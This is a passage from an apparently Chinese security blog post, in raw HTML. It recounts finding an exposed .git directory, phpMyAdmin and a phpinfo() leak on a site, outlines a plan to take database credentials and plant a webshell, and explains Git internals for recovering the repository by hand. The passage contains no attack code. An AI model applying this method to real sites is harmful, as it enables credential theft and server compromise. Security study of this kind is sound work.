auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">以及发现了</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">phpMyAdmin</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">应用和一些</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">phpinfo()</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">信息泄漏:</span></p><p><br/></p><p><img data-ratio="0.3815028901734104" data-w="1730" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=faecc6b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWo6WdXpA7bbHtVV1K7ZPo37uSVMFzSKhdHsos4ib7vsVjGldKFyzlLwg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">看到这些，不由得兴奋了起来，接下来只要按照预期的想法: 通过<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>拿到数据库账号密码（源码中一般会有），登录<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">phpMyAdmin</code>，然后拿到<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Webshell</code>...</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">但...转折点来了，尝试使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">GitHack</code>等一系列常见工具去恢复<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>，发现恢复的文件只有一些图片，看<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Logs</code>发现有很多文件恢复失败，既然不能当一个<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">ScriptKid</code>一把梭哈，那就自己来手动恢复吧~</p><p><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">Git原理与恢复</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>基本概念</strong></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">Git有三个概念词需要了解: 1.工作区 2.版本库 3.暂存区</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">工作区就是正常的目录（你的项目位置）;版本库就是在工作区内的一个隐藏目录<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>;如果你曾经注意过这个目录你会发现里面有许多东西，在该目录下会存在一个<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">index</code>文件，这被称之为暂存区。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">除以上所述之外，大家都知道每一个Git项目都会有一个默认的分支<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">master</code>，在<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>目录下有一个文件<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">head</code>，它用来指向<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">master</code>这个分支。</p><p><br/></p><p><img data-ratio="0.2711693548387097" data-w="1984" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8271dcd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWjfjz3TYfzvGBZOu8gzzznVGjwMRic7MmlaLwtcPbefuGib05XXtUIkSA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">当我们使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">git add</code>时，实际上就是把文件添加进暂存区；使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">git commit</code>时，才会把暂存区的内容添加到当前分支，默认是<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">master</code>分支。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">我们可以来实际的看一下<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">index</code>和<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">head</code>这两个文件:</p><p><br/></p><p><img data-ratio="0.4151624548736462" data-w="2216" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9b56e948&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLW7C6WXIQwVcFOqgbNrkZ6ZN0v3uNRWkaicvlj1Rl344YgMia6Jyeo5kdA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Binwalk</code>直接分析，可以很直观的看见<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">index</code>内有许多内容，<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">head</code>并没有，直接<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">cat head</code>发现这就是一个单纯的文本内容:</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">ref: refs/heads/master<br/></code></pre><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">前面了解到这是一个分支指向，那我直接查看<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>目录下的<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">refs/heads/master</code>文件，得到一串Hash值。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">我们可以暂且认为这是<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">master</code>分支的一个记录，用于区分、比较。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">大概了解了以上内容后，还需要了解有哪些文件才能够恢复<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>?</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">首先我们来看一下<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>目录内的一般结构:</p><p><br/></p><table><thead><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><th style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">名称</th><th style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">类型</th><th style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">作用</th></tr></thead><tbody><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">.git/index</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">文件</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">暂存区</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">.git/config</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">文件</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">Git配置文件</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">.git/description</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">文件</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">GitWeb专用的描述文件</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">.git/info</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">文件夹</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">里面就一个exclude文件（与.gitignore互补），排除指定文件不用做Git提交</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">.git/hooks</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">文件夹</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">存放一些钩子脚本</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">.git/HEAD</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">文件</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">记录分支</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;"><strong>.git/objects</strong></td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;"><strong>文件夹</strong></td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;"><strong>存放所有数据</strong></td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">.git/refs</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">文件夹</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">存放提交对象的指针</td></tr></tbody></table><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">知道结构及其作用后，挑重点关注</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">objects</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: 